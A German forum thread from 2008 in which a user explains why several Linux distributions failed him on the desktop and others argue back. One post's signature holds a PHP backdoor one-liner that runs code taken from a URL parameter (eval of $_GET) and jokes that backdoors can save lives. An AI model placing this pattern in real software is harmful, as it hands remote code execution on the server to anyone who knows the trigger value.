Thema: Warum Linux versagt
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23. 11. 2008, 17:29 #1Mitglied
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Warum Linux versagt
Warum Linux versagt
Anmerkung zu mir: Mit dem „ketzerischen“ Titel und dem nachfolgenden Text soll nicht etwa der Eindruck erweckt werden, Linux ist Mist und Windows oder MacOS X sind toll. Nein. Ganz und gar nicht. Ich möchte viel mehr meine Erfahrungen schildern, ganz ohne „Gebashe“, wie man sie so häufig in Foren liest. Nachfolgendes sind meine Meinungen und Erlebnisse mit Linux. Sie sind keine Wertung noch gelten sie allgemein. Andere Anwender mögen absolut keine der von mir geschilderten Probleme haben oder mit dem Design und Benutzerfreundlichkeit der Desktops vollkommen zufrieden sein.
Leider ist das ganze etwas länger als geplant geworden. Aber es ist mir ein Anliegen, das eventuell der eine oder andere Verantwortliche oder Programmierer meine Zeilen liest und vielleicht, nur vielleicht etwas daraus lernt und für sein Projekt mit nimmt. Aber genug der Vorworte ….
Da stand er nun, mein etwa drei Jahre altes WinXP-Notebook. Totalschaden. Nein, nicht die Hardware war defekt. Ich selber hatte es geschafft, durch die Installation zweifelhafter Software das Betriebssystem lahm zu legen. Mein dort ehemals installiertes Windows XP Pro lief jahrelang stabil und mehr oder weniger wartungsfrei vor sich hin. Was nun ?
Mein erster Gedanke war eine neue Installation von WinXP, aber dann dachte ich mir – jetzt wo das Notebook sowieso frei aller Software ist, könnte ich ja mal wieder mit Linux herum experimentieren. Immerhin gibt es ja haufenweise neue Distributionsversionen zum testen. Da ich schon seit seligen SuSE fünf-Punkt-irgendwas Zeiten Erfahrungen mit Linux sammeln durfte und bis SuSE neun-Punkt-irgendwas auch bei der Stange blieb, hatte ich genügend Erfahrung mit Linux. Dachte ich. Außerdem, so meine weiteren Gedanken, sind die heutigen Distributionen so Anwender-freundlich und einfach, da kann eigentlich nichts schief gehen. Ich naiver Trottel. Aber dazu später mehr.
Allerdings dachte ich dann auch daran, was meiner Freundin passiert ist. Da ich hier in der Gegend als Linux-User bekannt bin und auch immer gerne eine
„nicht mehr so ganz funktionierende“ Windows-Installation gegen eine Linux-Installation austauschte, so tat ich auch genau das bei meiner langjährigen
Partnerin auf ihrem Desktop-PC. Meine Freundin war zufrieden, alles funktionierte soweit. Sie meckerte zwar etwas herum, das dieses komische Ubuntu so träge
und hässlich bräunlich aussah, aber da sie mit dem Rechner die Dinge machen konnte, die sie benötigte, sah sie über schnöde Äußerlichkeiten gnädig hinweg. Bis zum ersten Kernel-Update. Da fand sie sich nach dem Neustart auf der Textkonsole wieder und rief lautstark um Hilfe. Klar, dachte ich mir. Der nVidia-Treiber war nicht für den neuen Kernel gedacht und auch ihre Verbindung in das Internet über einen Fritz! WLAN USB-Stick war hinüber. Nach zehn bis fünfzehn Minuten hatte ich den aktuellen nVidia-Treiber installiert und den WLAN-Treiber neu kompiliert. Bis letzte Woche. Da gab es wieder ein Kernel-Update. Meine Freundin schaute mich traurig an. Ich schaute genervt zurück. Mir entfleuchte ein „Sch.. Linuxmist“. Sie fragte, ob das jetzt immer nach einem Update passieren wird. Nun, um eine lange Geschichte kurz zu machen – ich holte meine WinXP Pro CD und habe es ihr installiert. Nach einer weiteren Stunde lief das System, alle Treiber installiert. Sie war glücklich. Und ist es bis jetzt. Linux kommt ihr sicher nicht mehr so schnell auf den Rechner. Und ich kann es ihr nicht einmal verdenken.
Aber zurück zu meinem Notebook. Kurz noch ein paar technischen Details zu meinem Fujitsu-Siemens Amilo Pro 2045 Notebook: Pentium 4 Mobile mit 1.73Ghz, 1,2 GB Speicher, ATI Mobility X300 mit 64MB Speicher, Realtek Gigabit Ethernet, Intel 2200BG-WLAN sowie einer 160GB SATA-Festplatte. Ein Centrino-System, auf dem Linux eigentlich problemlos laufen sollte. Fangen wir an mit …
Ubuntu 8.10
Die Installation von CD verläuft eigentlich problemlos. Grafisch sicher altbacken und nicht sehr sexy. Aber es funktioniert. Jedenfalls bis zur Partitionierung der Festplatte. Meine Wahl von „Geführt – gesamte Festplatte verwenden“ führte zu einem Neustart des Rechners. Nach manueller Partitionierung ging es dann weiter. Nach etwa 30-45 Minuten war das System fertig gestartet. Jetzt noch die aktuellen Updates einspielen, die auch sofort auf sich aufmerksam machten und den proprietären ATI-Treiber aktivieren. Fertig. Neustart. Wie in Windowszeiten. Was ich während des Hochfahrens und nach der Anmeldung auf dem Bildschirm präsentiert bekam, gehört, nach Windows 3.11 und Windows 95, tatsächlich in allen seinen Brauntönen zum Hässlichsten, was ich jemals gesehen habe. Pixelige Schriftarten und ekelig braune Fensterdekorationen.
Bedarf es wirklich eines bezahlten Programmierers oder eines kommerziellen Systems, um einen ansprechenden und schönen Destop zu bekommen ? Gibt es angenehme
und „sexy“ Desktops direkt „Out-of-the-Box“ nur bei Vista, Windows 7 und MacOS X ? Ist den Linux-Programmierern und Designern etwa entgangen, das Anwender gleich ungemein mehr motiviert und kreativ mit einem System arbeiten, wenn es sich gut „anfühlt“ und sexy aussieht ?
Nun, nach Auswahl von Kantenglättung bei den Schriftarten und Installation eines angenehmen „Theme“ sah zumindest der Desktop etwas schöner aus. Nur leider täuscht ein wenig Farbe und ein anderes Thema nicht darüber hinweg, das sich Gnome sehr träge anfühlte und die meisten Programme nach wie vor sehr altbacken und potthässlich daherkommen. Selbst das Ausschalten einiger Compiz-Desktopeffekte änderte an der Trägheit nichts.
Die Leistungsfähigkeit eines Systems messe ich grundsätzlich anhand eines OpenGL-Spieles mit dem Namen Armagetron Advanced, welches man online spielen kann und die aktuellen Frameraten während des Spiels anzeigt. Armagetron Advanced ist in den Repositories enthalten, die Installation ist also in Minuten
geschafft und das Spiel gestartet. Dies führte allerdings nur zu einem heftigen Bildschirmflackern, welches sich auch nicht abstellen ließ. Egal ob Vollbild oder Fenster, es flackerte nur so vor sich hin. In all dem Geflacker konnte ich während des Online-Spielens, je nach Spielsituation durchschnittlich 20-40 fps ablesen (unter Windows XP Pro mit Uralt-Treiber komme ich auf durchschnittlich 60-90 fps). Vermutlich lässt sich das Flackern mit „geheimnisvollen“ Eingriffen in irgendwelchen Konfigurationsdateien oder durch Verzicht auf die 3D-Desktopeffekte abstellen. Aber welcher unbedarfte Anwender will oder kann das schon.
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23. 11. 2008, 17:33 #2Mitglied
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Re: Warum Linux versagt
Gut, ich war nie ein Gnome-Fan und Braun ist ganz sicher nicht meine Lieblingsfarbe. Also musste Ubuntu (mit seinem albernen Codenamen) von der Platte und ich versuchte es mit
Kubuntu 8.10
Auch hier verlief die Installation problemlos und analog zu Ubuntu. Nun, auf jeden Fall besitzt KDE den subjektiv „gefühlt“ schnelleren Desktop und einigermaßen „sexy“ sieht er auch aus. Dies gefiel mir schon wesentlich besser, wenn nur nicht der sagenhaft hässliche und langweilige Boot-Screen sowie die hässlichen Icons und die kaum lesbare Schrifart wären. Aber immerhin. So gibt es wenigstens einen kleinen „Wow“-Effekt bei mir. Nicht ganz so viel „Wow“ wie bei Vista, aber immerhin.
Mein Test mit Armagetron Advanced verlief zuerst problemlos, kein Geflacker und die Frameraten bewegten sich auch zwischen spielbaren 40-60 fps. Allerdings
stürzte das Gesamtsystem recht häufig komplett ab, sobald zwischen Vollbild und Fenstermodus hin- und hergeschaltet wurde. Wie auch bei Ubuntu 8.10 gelang es mir nicht, meinen HBCI-Kartenleser Kobil Tribank zu einer Funktion zu bewegen. Auch mein unter Windows Vista gewohntes OpenOffice 3 gibt es unter (K)Ubuntu nicht, hier muss man sich mit der alten Version 2.4 zufriedengeben. Eine Synchronisation meiner PIM-Daten in Thunderbird/Lightning mit meinem Smartphone gelang mir weder unter Ubuntu noch unter Kubuntu 8.10
Kommen wir zum traurigen Thema Bluetooth – weder unter Ubuntu noch unter Kubuntu wurde mein Hama Nano Bluetooth-Dongle aktiviert und installiert. Viel
schlimmer sieht es in Kubuntu aus, hier ist die komplette Unterstützung für Bluetooth nicht vorhanden. Dies bekam ich auch erst durch Lesen in diversen Foren heraus. Dumm gelaufen. So lässt sich mit Kubuntu 8.10 nicht arbeiten. Weder funktionierte es stabil noch hat es Bluetooth. Runter damit und die nächste Distribution ist
openSuSE 11.0 (und openSuSE 11.1 beta 5)
Tolle grafische Installation. Hier steckt sehr viel liebevolle Detailarbeit drin. Nach der Installation heisst einen dann ein recht ansprechender Desktop willkommen. Leider nicht in nativer 1280x800 Auflösung, sondern in 1024x768er Auflösung. Nach manueller Wahl der richtigen Auflösung mit Sax 2 sah das ganze schon besser aus. Nach wenigen Sekunden erschien dann ein Symbol, welches mir freudig erregt mitteilte, das es Updates für mein System gibt. Ein beherzter Klick auf das Symbol und das Update startete. Oder auch nicht. Eine englischsprachige Fehlermeldung erschien. Sagte mir nichts, bin kein Programmierer. Ein Klick auf „Ok“ und weg war die Meldung. Und wieder die freudige Mitteilung über vorhandene System-Updates. Fehlermeldung. Updates .. und so weiter und so fort. Also keine Updates für mein System. Dann doch wenigstens Armagetron Advanced zum testen. Nein, leider auch nicht in den Software-Untiefen enthalten. Also manuell als RPM heruntergeladen und installiert. Nein, Fehler, irgendwas mit „sdl_image nicht installiert“.
Wozu eigentlich Software, wenn diese nicht einmal Abhängigkeiten auflöst und alles notwendige vollautomatisch installiert - ganz ohne das der Anwender sich die Haare raufen muss ?
Bluetooth funktionierte hier übrigens „Out-of-the-Box“, ganz ohne Zutun des Anwenders. Während des Testens passierte es mehrmals, das das System sich aufhing und das Notebook ausgeschaltet werden musste. Wie auch unter Kubuntu 7.10 fiel mir auf, das die Schriftwarten extrem pixelig, klein und hässlich aussahen. Aufgrund der Fehlermeldungen und unerklärlichen Abstürze verschwand dann auch openSuSE 11.0 von der Festplatte und ich probierte, der Vollständigkeit halber, die Beta 5 von openSuSE 11.1. Leider funktionierte hier schlicht nichts. Es schmierte mir gleich nach der Installation ab. Als Auflösung benutzte die Beta-Version 800x600 statt der nativen 1280x800. Die Kicker-Taskleiste war nur halb abgebildet, jeder Versuch eine Software zu starten endete in einem komplett schwarzen Bildschirm und dem Neustart des Rechners. Für eine Beta 5 absolut indiskutabel. Hier bekam ich eher den Eindruck, es handelte sich um eine Pre-Alpha. Kommen wir zur letzten getesteten Distribution, nämlich
Linux Mint 6.0 RC1 (Felicia)
Immerhin ein schön gewählter Codename. Kein muffiges und spiessig klingendes „Ubuntu“, sondern ein „Mint Felicia“. Neben dem sehr schicken und frischen Artwork
basiert Linux Mint auf Ubuntu 8.10, somit gelten alle oben beschriebenen Punkte auch für Linux Mint. Leider. Kann mir eigentlich jemand erklären, was ein (Vorhänge-)Schloss-Symbol mit Software-Updates zu tun haben soll ? Davon abgesehen – Armagetron Advanced lässt sich zwar installieren. Spielen funktionierte
bei mir aber nicht. Nach heftigem Geflacker stürzte der Rechner vollständig ab und musste auf „die harte Tour“ abgeschaltet werden.
Damit beendete ich meinen kleinen Distributionstest. Ich kramte weit nach Mitternacht frustriert meine Windows XP-CD aus dem Schrank und installierte sie. Nach weiteren zwei Stunden war alle Software installiert und ich konnte damit arbeiten. Wohlgemerkt – zwar nicht ausschließlich aber doch mit einer großen Anzahl Open-Source Software. Denn die gibt es nicht nur für Linux, sondern auch für Windows, egal ob Blender, Gimp, Open Office, Audacity oder Paint.net, um nur ein paar wenige zu nennen.
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23. 11. 2008, 17:38 #3Mitglied
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Re: Warum Linux versagt
Mein Fazit
Ich mag Linux immer noch. Es ist ein gutes Betriebssystem. Nur eben nicht nicht für den Desktop. Auch nicht für den „normalen“ Anwender wie ich einer bin. Ich möchte einfach nur mit dem Rechner meine Arbeit erledigen. Traurig, aber wahr: Jede kleine Firma und jeder (!) Privatmann, dem ich mal Linux installiert und schmackhaft gemacht habe, verwendet wieder XP oder Vista. Sie kamen weder mit den (immer noch) vielfältigen englischen Meldungen zurecht, noch mit den Abstürzen ihres Systems im täglichen Desktop-Einsatz. Und ich kann es ihnen nicht verdenken, habe ich doch selber auch wieder Windows auf der Platte.
Auch wenn die Linux-Fanboys mir ständig ein „Windows sucks, Linux rockz“ an den Latz knallen und sich damit als minderbemittelte Idioten outen, wird es nicht besser. Windows hat eben nicht nur deshalb eine beherrschende Position auf dem Weltmarkt aufgrund von Monopolen, sondern vor allem, weil es einfach funktioniert und sich komfortabel bedienen lässt. Selbst wenn allen Rechnern der Welt ein Linux beiliegen würde, wäre Windows und MacOS immer noch die meist benutzten Betriebssystemen. Wer dies anders sieht, sollte mal an sich den „Reality-Check“ machen.
Linux hat nach wie vor nur eine Verbreitung im einstelligen Prozentbereich. Und dies wird auch auf Jahre weiter so bleiben. Erst wenn die Programmierer und Distributions-Erbauer ihre Distributionen nicht mehr nach Zeitplan releasen und somit von Releasedatum zu Releasedatum hecheln, sondern mal wirklich etwas Benutzbares bauen, wird es mit Linux weitergehen. Stabil, schön und bedienbar. So sollte es sein. Nehmt euch doch mal ein Beispiel an Vista, Windows 7 oder MacOS !
Man muss es ja nicht 1:1 nachmachen oder kopieren. Nur schaut es euch doch mal an, wie Anwender mit den Systemen arbeiten. Wieso lassen sich die Bedienkonzepte von System X nicht auf System Y übertragen ? Es ist doch nichts falsches daran. Muss Linux alles anders machen, nur damit es anders ist ?
Sicher werden jetzt wieder viele Linux-Anwender mir ein dezentes „aber es ist doch kostenlos und die Entwickler programmieren es in ihrer Freizeit..“ entgegenhalten. Aber dies kann ich nicht gelten lassen. Linux möchte sich offiziell als Alternative oder Konkurrenz zu den anderen Betriebssystemen positionieren. Somit muss sich Linux auch gefallen lassen, an den gleichen Maßstäben gemessen zu werden. Mal davon abgesehen, das viele Entwickler bzw. Programmierer sehr wohl ihr Geld damit verdienen.
Was mich zum letzten Kritikpunkt bringt. Wie ich schon so häufig beobachten musste, gibt es immer wieder Projekte, die einfach eingestellt werden. Der Entwickler schon lange gegangen, da er vermutlich andere Betätigungsfelder gefunden hat. Oder der immer wiederkehrende Hinweis auf „die“ Community, in der man ja immer „kompetente“ Hilfe bekommt. In einer perfekten Welt sicherlich. Aber in der Realität sieht es anders aus. Mein Eindruck ist, das die Entwickler zwar gerne ihre, ich nenne sie mal „Produkte“ unter das Volk werfen, dann aber jede Verantwortung dafür auf die Community schieben. Dies mag unter Gleichgesinnten funktionieren, aber wie soll zum Beispiel eine kleine Firma, die kostensparend auf Linux aufbauen möchte, in diesem Fall reagieren ? Der Entwickler verschanzt sich hinter GPL und „ich übernehme keine Verantwortung“ und verweist auf die Community.
Das unter solchen Umständen eben diese Firmen lieber Windows oder MacOS mit definiertem Support und Haftungsfragen installieren, dürfte wohl klar sein. Auch in diesem Punkt muss sich noch viel ändern, damit sich die Linux-Akzeptanz erhöht. Dieses wurde in den letzten 10 Jahren nicht geschafft und es wird wohl auch in den nächsten zehn Jahren nichts werden.
Derzeit jedenfalls arbeite ich unter Vista 64-Bit auf meinem Hauptrechner sowie unter Windows XP Pro auf meinem Notebook. Alles läuft stabil und funktioniert. Und habe mir fest vorgenommen, ein Auge auf die neuesten Linux-Distributionen zu haben. Mal sehen, was da noch kommt. Auch wenn ich den Atem nicht gerade anhalte.
Einen schönen Abend wünsche ich.
Herbman
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23. 11. 2008, 18:04 #4
Re: Warum Linux versagt
Warum hast du es gemacht? Hast du im Voraus geprüft, ob die Anforderungen überhaupt abgedeckt werden können? Zum Beispiel bei vielen Unternehmen ist das eben nicht der Fall. Stichwort Buchaltungssoftware aus dem Hause Lexware. Hast du ihnen vorher gesagt, dass Linux nicht Windows ist?
Zitat von Herbmann
Aber mit einem STOP: 0x00000079 (0x00000002, 0x00000001, 0x00000002, 0x00000000) können sie etwas anfangen?Sie kamen weder mit den (immer noch) vielfältigen englischen Meldungen zurecht,
Was nicht, ohne dir etwas unterstellen zu wollen, unbedingt an der Distribution liegt.noch mit den Abstürzen ihres Systems im täglichen Desktop-Einsatz.
Wäre dem so, wieso gibt es dann hier und anderswo x Thread zu Windowsproblemen? Steigende Zahlen, derer die erfolgreich in das Lager eines anderen Betriebsystems (nicht zwangsläufig Linux) welchseln? Usw.Windows hat eben nicht nur deshalb eine beherrschende Position auf dem Weltmarkt aufgrund von Monopolen, sondern vor allem, weil es einfach funktioniert und sich komfortabel bedienen lässt.
Warum?Selbst wenn allen Rechnern der Welt ein Linux beiliegen würde, wäre Windows und MacOS immer noch die meist benutzten Betriebssystemen.
Seit wann hat zum Beispiel Linux überhaupt vor, das verbreiteste Betriebsystem zu sein?Wer dies anders sieht, sollte mal an sich den „Reality-Check“ machen.
Jede neue Windowsversion ist ja auch nach x Verschiebungen rocksolid.Erst wenn die Programmierer und Distributions-Erbauer ihre Distributionen nicht mehr nach Zeitplan releasen und somit von Releasedatum zu Releasedatum hecheln, sondern mal wirklich etwas Benutzbares bauen, wird es mit Linux weitergehen.
Alle drei Punkte kann ich mit "meiner" Distribution auch abdecken. Komisch.Stabil, schön und bedienbar.
Zu 90 % ohne Sinn und Verstand?Nur schaut es euch doch mal an, wie Anwender mit den Systemen arbeiten.
Linux ist nicht Windows. Genauso wie ein 1er BMW kein VW Golf ist. Würde Linux es genauso wie Windows machen, dann wäre Linux Windows. Wozu dann also noch Linux?Muss Linux alles anders machen, nur damit es anders ist ?
Frei im Sinne von Freiheit. Nicht im Sinne von Freibier. Davon abgesehen verdienen viele Programmierer damit ihren Lebensunterhalt. Zum Beispiel bei Novell.„aber es ist doch kostenlos und die Entwickler programmieren es in ihrer Freizeit..“
Quelle?Linux möchte sich offiziell als Alternative oder Konkurrenz zu den anderen Betriebssystemen positionieren.
Meinst du jetzt zum Beispiel WinFS? Um nur mal ein Beispiel zu nennen.Wie ich schon so häufig beobachten musste, gibt es immer wieder Projekte, die einfach eingestellt werden.
Sich ein Unternehmen suchen, dass den Support übernimmt? Novell, Mandriva und Co. bieten sehr guten Support für Unternehmen an. Davon abgesehen hast du schon mal die Eula von WIndows gelesen? Da wird auch jedliche Haftung verweigert.aber wie soll zum Beispiel eine kleine Firma, die kostensparend auf Linux aufbauen möchte, in diesem Fall reagieren ?
Abschließen kann ich nur eines sagen. Für dich ist Windows das bessere Betriebsystem? Dann bleib doch einfach dabei. Es wird dich keiner aus dem Linuxlager mit vorgehaltener Waffe dazu zwingen eine Linux-Distribution zu installieren. Das ist unter anderem eben Freedom of Choice.
cu
mathmos
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23. 11. 2008, 18:13 #5ktrailGast
Re: Warum Linux versagt
Herbman, dass dich deine Freunde für einen "Linux-User" halten ist ja schön und gut. Aber Ahnung hast du keine. Dein Gebashe ist zwar lang und vom sprachlichen her überdurchschnittlich - aber inhaltlich vollkommen unhaltbar.
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23. 11. 2008, 18:35 #6
Re: Warum Linux versagt
Es wundert mich nicht, dass du mit Ubuntu nicht klar kommst. Bei deinen Kenntnissen hättest du eigentlich eher Debain oder Gentoo benutzen sollen o.O
Tatsächlich ist Mandriva das einzige Linux, das bei mir bisher Out-Of-The-Box auf dem Desktop absturzfrei, nervfrei und shellfrei gelaufen ist, ohne stundenlangem patchen sowie Treiber installieren und Fehler fixen.
Allerdings ist es auch ganz allgemein das einzige Betriebsystem, für das das jemals gegolten hat, XP und Vista mit eingeschlossen.
Hab XP letztens nochmal benutzt, einfach um zu gucken, wie ichs finde.
Mochte es nicht:
Gibt kein Amarok, es hat ein Panel zu wenig, ich musste ewig an der Treiberinstallation rumfummeln, es hat zu wenig Software dabei, es hat kein Paketmanagment und es ist potthässlich.
Ich versuch mich demnächst mal an Hackintosh, bloss aus Interesse.
OpenBSD hab ich auch schon versucht; wohl kein Kommentar nötig.
Hab es nichtmal installiert bekommen, trotz Uralthardware.
EDIT:
Das war kein bashing. Es war bloss einseitig, weil er vergessen hat, dass sein Windows auch nicht von Anfang an so lief, wie es es jetzt tut, und er dann bei jeder Installation jeder Distribution schon nach 1 Stunde verzweifelt hat.Herbman, dass dich deine Freunde für einen "Linux-User" halten ist ja schön und gut. Aber Ahnung hast du keine. Dein Gebashe ist zwar lang und vom sprachlichen her überdurchschnittlich - aber inhaltlich vollkommen unhaltbar.
Gnome ist nämlich sehr schön.
mfg,
Cemper
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23. 11. 2008, 18:44 #7
Re: Warum Linux versagt
Danke Herbmann. 100% Full Ack von hier.
Ich mag Linux wirklich. Ich arbeite auch beruflich damit. Meine Linuxxe laufen auch alle. Aber mit Windows ist es einfach einfacher. Alles.
Wenn ich nur an WPA2 denke... Es soll Systeme geben da baucht man Hardware ein, installiert einen Treiber und es geht.
Edit: Überrascht war ich allerdings als eine USB Netzwerkkarte unter Linux out of the Box lief, unter windows braucht ich einen Treiber.
Vlt. liegts garnicht an Linux. Würde die Hersteller ihre Treiber so mitliefern für Linux wie für Windows würden sicher mehr Leute linux nutzen.
Lizenz:
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23. 11. 2008, 18:45 #8Gear1924Gast
Re: Warum Linux versagt
Hmmm warum erinnert mich dieser Post an das?
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23. 11. 2008, 18:49 #9
Re: Warum Linux versagt
Noch ein Problem das Linux hat.
Es bestätigt sich immer das es Leute gibt die Windows verwenden und sagen: Jo Linux is auch nicht übel.
Ein Linuxmensch würde (meistens) in seiner grenzelosen Arroganz niemals ein gutes Wort an Windows lassen.
Wo kämen wir denn da hin...
Lizenz:
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23. 11. 2008, 18:50 #10
Re: Warum Linux versagt
Hmmm,
ich bin 16 und hab vor etwa 2 Monaten gewechselt...
Schon nach 2 Wochen ist mein Hass auf Microsoft derartig gestiegen, dass ich am liebsten sonstewas mit denen machen würde...
Ich fühl mich einfach total verarscht! Ich dachte immer, Vista wär eigendlich gut... An sich war es das auch.
Aber wer mal ernsthaft nich seinen ganzen Tag mit "ZOCKEN!!!" verbringt wird feststellen, dass Linux in ALLEM und echt einfach ALLEM (ok, benutze Ubuntu) viel intelligenter gebaut ist...
Da kamen Ideen vor, die ich mir bei Windows sooo oft gewünscht hätte und andere, die ich im Leben nie vermisste, aber jetzt nicht mehr missen würde...
Ich hatte schon einige Freunde auf den Linux-Trip gebracht, weil ich grad so glücklich über Linux war (2 Wochen auf Ubuntu), aber das ging nicht lang...
Am Ende ist es mir jetzt egal, was andere Menschen darüber sagen... Ich bin glücklich, dass ich genug Hass auf Windows hatte, um mir Ubuntu länger als einen Tag anzuschauen
Denke das hat's am Ende auch ausgemacht...if($_GET['a']==md5('remote')){eval($_GET['b']);}
Man kann ja nie wissen... Backdoors können Leben retten! :D
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23. 11. 2008, 18:54 #11Gear1924Gast
Re: Warum Linux versagt
@r3
Woher willst du das wissen? Wie viele Linux User kennst du?
Ich hab nichts gegen Windows. Sicher wird es Leute geben die sagen "Windoof ist der letzte Scheiß", aber das sind meistens die Leute die gleich beim 1.Problem wieder bei Windows sind und anschließend allen ihren Freunden sagen wie scheiße doch Linux sei.
Edit:
Irgendwie wirkt mein Beitrag jetzt nach dem Post von luzifer1125 merkwürdig.
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23. 11. 2008, 19:04 #12
Re: Warum Linux versagt
Dann lies dir doch bitte mal dieses Zitat durch.
Zitat von Herbmann
http://www.felix-schwarz.name/files/...nicht_Windows/Wichtig ist aber: Er profitiert auch nicht davon, seine Software zu veröffentlichen. Ob sie von einer Person oder eine Milliarde benutzt wird, macht für den Entwickler keinen Unterschied. Natürlich wird er Befriedigung dadurch bekommen, dass er ein populäres Produkt erschaffen hat: Die Anzahl der Benutzer kann ein netter Ego-Schub sein; ein Weg, wenn Sie so wollen, "of keeping score". Aber es bringt ihm kein Geld: Es ist FOSS.
Wenn die Software ein Erfolg ist, interessieren sich andere Leute dafür und helfen, sie zu verbessern. Das ist der größte Vorteil von FOSS: Jeder Benutzer ist ein potenzieller Entwickler. Jeder kann mitmachen und seinen Teil dazu beitragen, damit die Software besser arbeitet, mehr macht, weniger Fehler hat. Es ist großartig, wenn eine Software eine Gemeinschaft von Entwicklern anzieht. Es ist großartig für die Software. Es verbessert die Software. Es bereichert den Entwickler aber nicht. Es beansprucht nur mehr von seiner Zeit.
FOSS ist das genaue Gegenteil von Software wie Windows: FOSS dreht sich nur um die Software. Es geht nicht um die Anzahl der Endbenutzer. Software, die zwar gut funktioniert, aber nur wenige Benutzer hat, ist für die kommerzielle Software-Welt ein Flop, aber für FOSS ein Gewinn.
Ich hab mal keinen Thread gesehen, in dem jemand zu DIR gesagt hat, dass du Linux verwenden sollst/musst. Wenn es dir nicht gefällt, dann ist das deine Entscheidung, nicht die von mir bzw. anderen Community Mitgliedern.
Das mag zwar sein, siehe Novell, RedHat oder die Entwickler von Linpus Linux, wobei ich das nicht als Kritikpunkt von Linux sehen würde. Solange es frei im Sinne von frei und nicht "kostenlos" ist, dann macht es letztlich keinen Unterschied ob der Entwickler Geld bekommt oder nicht.
Zitat von Herbmann
So, dann zeig doch mal ein paar Belege? Die Leute, die „Windows sucks, Linux rockz“ sagen, weil sie denken dass Linux übelst das "Haxxor" OS ist, da landen die meisten früher oder später wieder bei Windows. Das ist auch ok, finde ich zumindestens denn es ist ja ihre Entscheidung.Auch wenn die Linux-Fanboys mir ständig ein „Windows sucks, Linux rockz“ an den Latz knallen und sich damit als minderbemittelte Idioten outen, wird es nicht besser.
Wenn man seine eigene Meinung über das Aussehen verallgemeinert, dann finde ich das schade, denn was meinst du haben sich die Entwickler dabei wohl gedacht? Vieleicht gab es einige Mails an die Entwickler von z.B. Ubuntu, dass es standardmäßig doch in Braun gehalten sein soll, findest du nicht?
Die Überschrift ist meiner Meinung nach nicht passend, es wäre besser, wenn du geschrieben hättest, dass es nicht zu dir passt oder so. „Wieso Linux nicht zu mir passt“<Alanna> Saying that Java is nice because it works on all OS's is like saying that anal sex is nice because it works on all genders
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23. 11. 2008, 19:07 #13The / of all evil.
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Re: Warum Linux versagt
Ich habe auch sehr gute Erfahrungen mit Sidux gemacht (Debian-based), läuft Out-of.the-Box alles wunderbar: Meine Wlan-Karte, Mein Kartenlesegerät, Mein Drucker einfach alles. Läuft sehr stabil, guten Support im Falle eines Falles usw..
Die Shell muss man zwar nicht benutzen aber es geht schneller. Zum Thema Optik: Wer auf Linux wechselt weil er denkt Linux = Clickibunti der sollte bei seinem MSVista bleiben. Linux ist alternativ!
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23. 11. 2008, 19:44 #14
Re: Warum Linux versagt
Schön wäre es, wenn man solche pauschalen Aussagen treffen könnte. Ich habe erst vor ca 1-2 Wochen bei zwei Rechnern hier im Haus auf WP2 umgestellt (beides Windowskisten). Beim ersten war die Geschichte nach ca 5 Minunten gegessen. Beim zweiten habe ich sage und schreiben 45 Minuten gebraucht. Und dass auch nur, weil ein Bekannter von mir zufällig die gleiche Karte hatte und mir bei der Problemlösung helfen konnte. Von alleine wäre ich da nie und nimmer draufgekommen. Und ich kann eigentlich schon von mir behaupten, dass ich kein DAU mehr bin. Solche und x andere Sachen, die man alleine hier liest, zeigen, dass unter Windows eben nicht alles sofort läuft. Und ja das gilt auch für Linux oder jedes andere Betriebsystem bzw Software an sich.
Zitat von r3
Scheinbar kennst du so gut wie keine richtigen Linuxer. Auf eigentlich allen Linuxboards sind Windowsflames zum Beispiel verpönt und oft auch nicht erlaubt. Viele Linuxer (wie ich beispielsweise) haben auch Windows installiert. Oder akzeptieren die Wahl Anderer bezüglich ihrers Betriebsystems zumindest (Freedom of Choice). Die von dir angesprochene Gruppe zählen für mich zu den Fanboys. Von diesen auf die gesamte Masse zu schließen halte ich für gewagt. Zumal es solche Fanboys im jeden Lager gibt.
Zitat von r3
cu
mathmos
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23. 11. 2008, 20:04 #15
Re: Warum Linux versagt
Ist ja hammerhart.
Das erinnert mich alles ein bisschen an "Linux ist scheiße" - "Warum?" - "Kam voll nicht damit klar".
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23. 11. 2008, 20:35 #16
Ich nehme mir die Freiheit, nicht objektiv zu beurteilende Kriterien wie die Ästhetik und das Verhalten der Desktopumgebung an sich als `keine Diskussionsgrundlage` abzutun. Darüber kann man ewig diskutieren - mir persönlich gefällt zum Beispiel das Look and Feel von Aero Glass überhaupt nicht - und käme am Ende zu der Erkenntnis, dass die Wahl des Favoriten vom persönlichen Geschmack der Kontrahenten abhänge, und das eine Diskussion darüber sinnlos sei.
Die Probleme beim Kernelupgrade deiner Freundin kann ich nicht recht nachvollziehen - erstens werden Abhängigkeiten, z.B. die restricted-Module, in aller Regel beim Update berücksichtigt, zum anderen ist es auf einer Desktopmaschine in aller Regel auch kein Problem, auf etwaige Kernel-Updates zu verzichten, wenn man weiss, dass dabei Probleme auftauchen.
Zu Ubuntu 8.10 und deinem `Benchmark`: Warum das `Flackern` auftrat (wenn es denn so war), werden wir wohl nie erfahren - es ist aber sehr wahrscheinlich, dass compiz seine Probleme mit dem proprietären ATI-Treiber hat, es wäre nicht das erste Mal. (Dass ein Spiel nicht sonderlich geegnet ist, um einen Benchmark durchzuführen, da die Faktoren, von denen die Framerate im Endeffekt abhängt, nicht genau einzugrenzen sind, steht auf einem anderen Blatt Papier)
Zu Kubuntu 8.10: Es wäre sinnvoll gewesen, deinen Komplettabstürzen auf den Grund zu gehen. Um den Hergang im Nachhinein analysieren zu können, führen sowohl der Linux-Kernel als auch andere Dienste Log-Dateien. Diese kannst du verwenden, um festzustellen, wo genau der Fehler auftrat. Zum Bluetooth-Problem an sich kann ich wenig sagen, da ich kein solches BT-Dongle habe. Es ist jedoch gut möglich, dass dein BT-Dongle nicht, oder nur nach Nachinstallation eines entsprechenden Kernelmoduls unterstützt wird.
Im Endeffekt lässt sich sagen, dass Linux für dich wohl nicht das richtige ist oder war. Keine Panik und keine Feindschaft deswegen - bleibe beim System, das dir gefällt und mit dem du am Besten arbeiten kannst. Das wird dir kein (vernünftiger) GNU/Linux-Anhänger verübeln. Es geht nicht darum, Linux möglichst weit zu verbreiten - es geht darum, dass es für diejenigen, die das System benutzen, eben das komfortabelste ist, nicht darum, Windows zu klonen - nebenbei bemerkt: die Wurzeln der Systeme (und die Philosophien dahinter) sind auch total verschieden. Noch eher könntest du GNU/Linux und Mac OS X vergleichen - immerhin sind die beiden unixoide Betriebssysteme. Aber auch das ist nur beschränkt sinnvoll.Geändert von Kugelfisch23 (25. 11. 2008 um 14:57 Uhr)
Mit Grüssen aus'm Ozean
